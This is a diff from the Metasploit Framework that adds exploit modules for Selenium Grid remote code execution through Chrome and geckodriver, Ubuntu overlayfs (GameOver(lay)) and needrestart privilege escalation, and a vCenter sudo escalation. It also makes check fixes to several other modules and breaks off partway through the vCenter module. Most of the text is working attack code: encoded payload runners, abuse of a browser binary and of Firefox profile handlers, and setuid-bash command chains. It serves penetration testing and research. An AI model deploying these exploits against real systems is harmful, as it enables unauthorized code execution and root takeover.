https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Selenium chrome RCE', + 'Description' => %q{ + Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types + such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. + }, + 'Author' => [ + 'randomstuff (Gabriel Corona)', # Exploit development + 'Wiz Research', # Vulnerability research + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-28108'], + ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'], + ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'], + ], + 'Payload' => {}, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + # tested cmd/linux/http/x64/meterpreter_reverse_tcp + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-04-18', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(4444), + ] + ) + end + + def check + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + }) + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document && + v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') && + v4res.get_json_document['value']['message'].downcase.include?('selenium grid') + + # Request for Selenium Grid version 3 + v3res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 + + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code + + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] + begin + json_data = JSON.parse(json_str) + rescue JSON::ParserError + return Exploit::CheckCode::Unknown('Unable to determine the version.') + end + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] + + # Extract the version + version = Rex::Version.new(json_data['version']) + if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") + end + + CheckCode::Appears("Version #{version} detected, which is vulnerable.") + end + + def exploit + b64encoded_payload = Rex::Text.encode_base64( + "if sudo -n true 2>/dev/null; then\n"\ + " echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\ + "else\n"\ + " #{payload.encoded}\n"\ + "fi\n" + ) + + # Create the request body as a Ruby hash and then convert it to JSON + body = { + 'capabilities' => { + 'alwaysMatch' => { + 'browserName' => 'chrome', + 'goog:chromeOptions' => { + 'binary' => '/usr/bin/python3', + 'args' => ["-cimport base64,os; bp=b'#{b64encoded_payload}'; os.system(base64.b64decode(bp).decode())"] + } + } + } + }.to_json + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), + 'headers' => { 'Content-Type' => 'text/plain' }, + 'data' => body + }) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + end + +end diff --git a/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb b/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb new file mode 100644 index 000000000000..97337ca5bd03 --- /dev/null +++ b/modules/exploits/linux/http/selenium_greed_firefox_rce_cve_2022_28108.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Selenium geckodriver RCE', + 'Description' => %q{ + Selenium Server (Grid) <= 4.27.0 (latest version at the time of this writing) + allows CSRF because it permits non-JSON content types + such as application/x-www-form-urlencoded, multipart/form-data, and text/plain. + }, + 'Author' => [ + 'Jon Stratton', # Exploit development + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2022-28108'], + ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'], + ['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'], + ['EDB', '49915'], + ], + 'Payload' => {}, + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + 'FETCH_COMMAND' => 'WGET' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2022-04-18', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(4444), + OptInt.new('TIMEOUT', [ true, 'Timeout for exploit (seconds)', 75 ]) + ] + ) + end + + def check + # Request for Selenium Grid version 4 + v4res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + }) + if v4res && v4res.get_json_document && v4res.get_json_document.include?('value') && + v4res.get_json_document['value'].include?('message') + if v4res.get_json_document['value']['message'] == 'Selenium Grid ready.' + return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected and ready.') + elsif v4res.get_json_document['value']['message'].downcase.include?('selenium grid') + return Exploit::CheckCode::Unknown('Selenium Grid version 4.x detected but not ready.') + end + end + + # Request for Selenium Grid version 3 + v3res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200 + + js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) } + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code + + json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1] + begin + json_data = JSON.parse(json_str) + rescue JSON::ParserError + return Exploit::CheckCode::Unknown('Unable to determine the version.') + end + return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version'] + + # Extract the version + version = Rex::Version.new(json_data['version']) + @version3 = version < Rex::Version.new('4.0.0') + + CheckCode::Appears("Version #{version} detected, which is vulnerable.") + end + + def exploit + # Build profile zip file. + stringio = Zip::OutputStream.write_buffer do |io| + # Create a handler for shell scripts + io.put_next_entry('handlers.json') + io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}') + end + stringio.rewind + encoded_profile = Base64.strict_encode64(stringio.sysread) + + # Create session with our new profile + new_session = { + desiredCapabilities: { + browserName: 'firefox', + firefox_profile: encoded_profile + }, + capabilities: { + firstMatch: [ + { + browserName: 'firefox', + "moz:firefoxOptions": { profile: encoded_profile } + } + ] + } + }.to_json + + # Start session with encoded_profile and save session id for cleanup. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wd/hub/session'), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, + 'data' => new_session + }, datastore['TIMEOUT']) + fail_with(Failure::Unknown, 'Unexpected server reply.') unless res + + session_id = res.get_json_document['value']['sessionId'] || res.get_json_document['sessionId'] + fail_with(Failure::Unknown, 'Failed to start session.') unless session_id + + print_status("Started session (#{session_id}).") + + b64encoded_payload = Rex::Text.encode_base64( + "rm -rf $0\n"\ + "if sudo -n true 2>/dev/null; then\n"\ + " echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\ + "else\n"\ + " #{payload.encoded}\n"\ + "fi\n" + ) + + data_url = "data:application/sh;charset=utf-16le;base64,#{b64encoded_payload}" + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "wd/hub/session/#{session_id}/url"), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' }, + 'data' => JSON.generate(url: data_url) + }) + # The server does not send a response, so no check here + + # This may take some time (about 5 minutes or so), so no timeout is set here. + res = send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(target_uri.path, @version3 ? "wd/hub/session/#{session_id}" : "session/#{session_id}"), + 'headers' => { 'Content-Type' => 'application/json; charset=utf-8' } + }) + if res + print_status("Deleted session (#{session_id}).") + else + print_status("Failed to delete the session (#{session_id}). "\ + 'You may need to wait for the session to expire (default: 5 minutes) or '\ + 'manually delete the session for the next exploit to succeed.') + end + end + +end diff --git a/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb b/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb index df867f0fb842..2edc63de8346 100644 --- a/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb +++ b/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb @@ -156,7 +156,7 @@ def ssh_login private: private_key, private_type: :ssh_key ) - return Net::SSH::CommandStream.new(ssh) + return Net::SSH::CommandStream.new(ssh, logger: self) end nil diff --git a/modules/exploits/linux/local/docker_cgroup_escape.rb b/modules/exploits/linux/local/docker_cgroup_escape.rb index a54188a6bb47..f8690dcd6041 100644 --- a/modules/exploits/linux/local/docker_cgroup_escape.rb +++ b/modules/exploits/linux/local/docker_cgroup_escape.rb @@ -83,13 +83,17 @@ def check print_status('Unable to determine host OS, this check method is unlikely to be accurate if the host isn\'t Ubuntu') release = kernel_release # https://people.canonical.com/~ubuntu-security/cve/2022/CVE-2022-0492 - release_short = Rex::Version.new(release.split('-').first) - release_long = Rex::Version.new(release.split('-')[0..1].join('-')) - if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.10 - release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS - release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS - release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM - return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable") + begin + release_short = Rex::Version.new(release.split('-').first) + release_long = Rex::Version.new(release.split('-')[0..1].join('-')) + if release_short >= Rex::Version.new('5.13.0') && release_long < Rex::Version.new('5.13.0-37.42') || # Ubuntu 21.10 + release_short >= Rex::Version.new('5.4.0') && release_long < Rex::Version.new('5.4.0-105.119') || # Ubuntu 20.04 LTS + release_short >= Rex::Version.new('4.15.0') && release_long < Rex::Version.new('4.15.0-173.182') || # Ubuntu 18.04 LTS + release_short >= Rex::Version.new('4.4.0') && release_long < Rex::Version.new('4.4.0-222.255') # Ubuntu 16.04 ESM + return CheckCode::Vulnerable("IF host OS is Ubuntu, kernel version #{release} is vulnerable") + end + rescue ArgumentError => e + return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") end CheckCode::Safe("Kernel version #{release} may not be vulnerable depending on the host OS") diff --git a/modules/exploits/linux/local/gameoverlay_privesc.rb b/modules/exploits/linux/local/gameoverlay_privesc.rb new file mode 100644 index 000000000000..4172164bff0e --- /dev/null +++ b/modules/exploits/linux/local/gameoverlay_privesc.rb @@ -0,0 +1,187 @@ +class MetasploitModule < Msf::Exploit::Local + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GameOver(lay) Privilege Escalation and Container Escape', + 'Description' => %q{ + This module exploits the use of unsafe functions in a number of Ubuntu kernels + utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux + kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent + changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is + called during ovl_do_setxattr without calling the intermediate safety function + vfs_setxattr. Ultimatly this module allows for root access to be achieved by + writing setuid capabilities to a file which are not sanitized after being unioned + with the upper mounted directory. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'g1vi', # PoC + 'h00die', # Module Suggestion + 'bwatters-r7', # MsF Module + 'gardnerapp', # MsF Module + ], + 'Platform' => ['linux', 'unix'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2023-07-26', + 'References' => [ + ['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'], + ['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'], + ['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'], + ['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'], + ['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'], + ['CVE', '2023-32629'], + ['CVE', '2023-2640'] + ], + 'Targets' => [ + [ + 'Linux_Binary', + { + 'Arch' => [ ARCH_AARCH64, ARCH_X64 ], + 'PrependSetuid' => true + } + ], + [ + 'Linux_Command', + { + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'BadChars' => "\x22\x27" + } + } + ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_options [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), + OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]) + ] + end + + def vuln + # Keys are ubuntu versions, vals is list of vunerable kernels + { + "Lunar Lobster": %w[6.2.0], # Ubuntu 23.04 + "Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10 + "Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS + "Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS + "Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS + }.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver" + end + + def check + return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux' + + # Must be Ubuntu + return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/ + + os = cmd_exec 'cat /etc/os-release' + + # grab codename i.e. Focal Fossa + codename = os.scan(/\(\w* \w*\)/)[0] + + # Remove '(' and ')' + codename.delete_prefix!('(').delete_suffix!(')') + + print_status "Detected Ubuntu version: #{codename}" + + # uname -r + # yields something like 5.4.0-1018-blah + kernel = kernel_release + print_status "Detected kernel version: #{kernel}" + + # Make sure release is running vunerable kernel + # will this return in correct context?? + # could scan kernel to prevent looping if return below doesn't work + vuln[codename].each do |version| + if kernel.include? version + return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable" + end + end + + return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel') + end + + def exploit + pay_dir = datastore['WritableDir'] + pay_dir += '/' unless pay_dir.ends_with? '/' + + pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/' + + print_status "Creating directory to store payload: #{pay_dir}" + mkdir pay_dir + + directories = [] + directories << pay_dir + + lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << lower_dir + + upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << upper_dir + + work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << work_dir + + merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << merge_dir + + bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13)) + # bash_copy = '/var/tmp/bash' + + directories.each do |dir| + print_status "Creating directory #{dir}" + mkdir dir.to_s + end + + if target.arch.first == ARCH_CMD + payload_cmd = payload.encoded + else + pay_file = datastore['PayloadFilename'] + payload_path = "#{pay_dir}#{pay_file}" + print_status "Writing payload: #{payload_path}" + write_file(payload_path, generate_payload_exe) + payload_cmd = payload_path + end + + # g1vi original + # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'" + + # Exploit overlayfs vuln + # Build the command + rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}" + + exploit_cmd = 'unshare -rm sh -c "' + exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; " + exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; " + exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && " + exploit_cmd << "touch #{merge_dir}*; " + exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system(" + exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && " + if target.arch.first == ARCH_CMD + payload_cmd.gsub!('\\\\\\', '\\\\\\\\') + exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\"" + else + exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}" + end + exploit_cmd << "\\\")'\"" + output = cmd_exec(exploit_cmd) + vprint_status(output) + end + +end diff --git a/modules/exploits/linux/local/runc_cwd_priv_esc.rb b/modules/exploits/linux/local/runc_cwd_priv_esc.rb index e4638cb0c478..5599910b7002 100644 --- a/modules/exploits/linux/local/runc_cwd_priv_esc.rb +++ b/modules/exploits/linux/local/runc_cwd_priv_esc.rb @@ -25,7 +25,8 @@ def initialize(info = {}) with the permissions of runc (typically root). Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 and runc 1.1.11 using Docker build. - Also tested on Debian 12.4.0 with runc 1.1.11 using Docker build. + Successfully tested on Debian 12.4.0 with runc 1.1.11 using Docker build. + Successfully tested on Arch Linux 12/1/2024 with runc 1.1.10-1 using Docker build. }, 'License' => MSF_LICENSE, 'Author' => [ @@ -141,8 +142,13 @@ def check # Replace any "+deb", "+ds", "~rc", "u" or "-" with a "." fixed_version = fixed_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.') runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.').gsub(/u/, '.').gsub('-', '.') + when 'arch' + version_info =~ /runc\s+version\s+(\d+\S*)/ + unfiltered_version = Regexp.last_match(1) + fixed_version = '1.1.12' + runc_version = unfiltered_version.gsub(/(?:\+|~)[a-zA-Z]+/, '.') else - return CheckCode::Safe('Check method only available for Debian/Ubuntu systems') + return CheckCode::Safe('Check method only available for Debian/Ubuntu/Arch systems') end if Rex::Version.new(runc_version) < Rex::Version.new(fixed_version) && Rex::Version.new(runc_version) >= Rex::Version.new(minimum_version) @@ -163,6 +169,11 @@ def exploit fail_with(Failure::BadConfig, "#{base_dir} is not writable") end + # Make sure we can execute our payload as root + if nosuid?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid") + end + # create directory to write all our files to dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" mkdir(dir) diff --git a/modules/exploits/linux/local/tomcat_ubuntu_log_init_priv_esc.rb b/modules/exploits/linux/local/tomcat_ubuntu_log_init_priv_esc.rb index 335a44387007..4786b668f1c8 100644 --- a/modules/exploits/linux/local/tomcat_ubuntu_log_init_priv_esc.rb +++ b/modules/exploits/linux/local/tomcat_ubuntu_log_init_priv_esc.rb @@ -84,7 +84,7 @@ def catalina def check package = cmd_exec('dpkg -l tomcat[6-8] | grep \'^i\'') - if package.nil? || package.empty? + if package.nil? || package.empty? || package.include?('not found') # catch dpkg command not found return CheckCode::Safe('Unable to execute command to determine installed pacakges') end @@ -93,7 +93,11 @@ def check # 0 is ii for installed # 1 is tomcat# for package name # 2 is version number - package = Rex::Version.new(package[2]) + begin + package = Rex::Version.new(package[2]) + rescue ArgumentError => e + return CheckCode::Safe("Error processing Tomcat version (#{package[2]}) into known format: #{e}") + end if (package.to_s.start_with?('8') && package < Rex::Version.new('8.0.32-1ubuntu1.2')) || (package.to_s.start_with?('7') && package < Rex::Version.new('7.0.52-1ubuntu0.7')) || diff --git a/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb new file mode 100644 index 000000000000..baab55c322a3 --- /dev/null +++ b/modules/exploits/linux/local/ubuntu_needrestart_lpe.rb @@ -0,0 +1,175 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Post::Linux::Kernel + include Msf::Exploit::FileDropper + include Msf::Post::Linux::Compile + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ubuntu needrestart Privilege Escalation', + 'Description' => %q{ + Local attackers can execute arbitrary code as root by + tricking needrestart into running the Python interpreter with an + attacker-controlled PYTHONPATH environment variable. + + Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1 + Attempted exploitation against Debian 12, expliotation failed + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'makuga01', # PoC + 'qualys' # original advisory + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Stance' => Msf::Exploit::Stance::Passive, + 'Passive' => true, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'], + [ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'], + [ 'CVE', '2024-48990'] + ], + 'DisclosureDate' => '2024-11-19', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]), + OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for session', 90_000 ]) # 25hrs + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def check + # fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f + # debian https://security-tracker.debian.org/tracker/CVE-2024-48990 + fixed_versions = { + '24.10' => Rex::Version.new('3.6-8ubuntu4.2'), + '24.04' => Rex::Version.new('3.6-7ubuntu4.3'), + '22.04' => Rex::Version.new('3.5-5ubuntu2.2'), + '20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'), + '18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'), + '16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'), + '12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm + '11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye + # may be more versions, but this felt good enough + '38' => Rex::Version.new('3.8-1'), + '39' => Rex::Version.new('3.8-1'), + '40' => Rex::Version.new('3.8-1'), + '41' => Rex::Version.new('3.8-1') + } + info = get_sysinfo + return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro] + + if info[:distro] == 'ubuntu' + version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info + return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version + elsif info[:distro] == 'debian' + return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it') + elsif info[:distro] == 'fedora' + return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it') + end + + return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart') + + package = cmd_exec('dpkg -l needrestart | grep \'^ii\'') + package = package.split(' ')[2] + package = package.gsub('+', '.') + # next line will need to be included if we want to support fedora + # package = package.gsub('needrestart-', '') # fedora specific + package = Rex::Version.new(package) + return CheckCode::Safe('needrestart not install, or not detected.') if package == Rex::Version.new('0') # aka empty/nil + + return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version] + + CheckCode::Safe("needrestart version #{package} is not vulnerable on Ubuntu #{version}") + end + + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + # Make sure we can write our exploit and payload to the local system + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # upload payload + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + vprint_status("Uploading payload: #{payload_path}") + register_files_for_cleanup(payload_path) + + # our c stub file does our chmod/chown/suid for the payload + c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm')) + c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path) + + case kernel_arch + when ARCH_X86 + cpu = Metasm::Ia32.new + when ARCH_X64 + cpu = Metasm::X86_64.new + else + fail_with Failure::NoTarget, 'Target is not compatible' + end + + begin + c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib) + c_stub_path = "#{base_dir}/importlib/__init__.so" + rescue StandardError + print_error "Metasm encoding failed: #{$ERROR_INFO}" + elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}" + elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}" + fail_with Failure::Unknown, 'Metasm encoding failed' + end + + mkdir "#{base_dir}/importlib" + write_file(c_stub_path, c_stub) + vprint_status("Uploading c_stub: #{c_stub_path}") + register_files_for_cleanup(c_stub_path) + register_dir_for_cleanup("#{base_dir}/importlib") + + # the python script is needed for having the PYTHONPATH set and watches + # for our payload to be modified, then run it + py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py')) + py_script = py_script.gsub('PAYLOAD_PATH', payload_path) + + py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + write_file py_stub_path, py_script + vprint_status("Uploading py_script: #{py_stub_path}") + register_files_for_cleanup(py_stub_path) + + # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the + # output from the exploit being run, they can optionally see it + print_status 'Launching exploit, and waiting for needrestart to run...' + output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, datastore['ListenerTimeout'] + output.each_line { |line| vprint_status line.chomp } + end +end diff --git a/modules/exploits/linux/local/vcenter_sudo_lpe.rb b/modules/exploits/linux/local/vcenter_sudo_lpe.rb new file mode 100644 index 000000000000..88dc67f2bd28 --- /dev/null +++ b/modules/exploits/linux/local/vcenter_sudo_lpe.rb @@ -0,0 +1,177 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Linux::Priv + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Post::Vcenter::Vcenter + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'vCenter Sudo Privilege Escalation', + 'Description' => %q{ + VMware vCenter Server < 7.0.3 update R and < 8.0.2 update D + contains multiple local privilege escalation vulnerabilities + due to misconfiguration of sudo. An authenticated local user + with non-administrative privileges may exploit these issues + to elevate privileges to root on vCenter Server Appliance. + + Tested against VMware vCenter Server Appliance 8.0.0.10000 20519528 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Matei "Mal" Badanoiu', # discovery + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Auto', {} ], + ], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24453'], + [ 'URL', 'https://github.com/mbadanoiu/CVE-2024-37081/blob/main/VMware%20vCenter%20-%20CVE-2024-37081.pdf'], + [ 'CVE', '2024-37081'] + ], + 'DisclosureDate' => '2024-06-18', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_advanced_options [ + 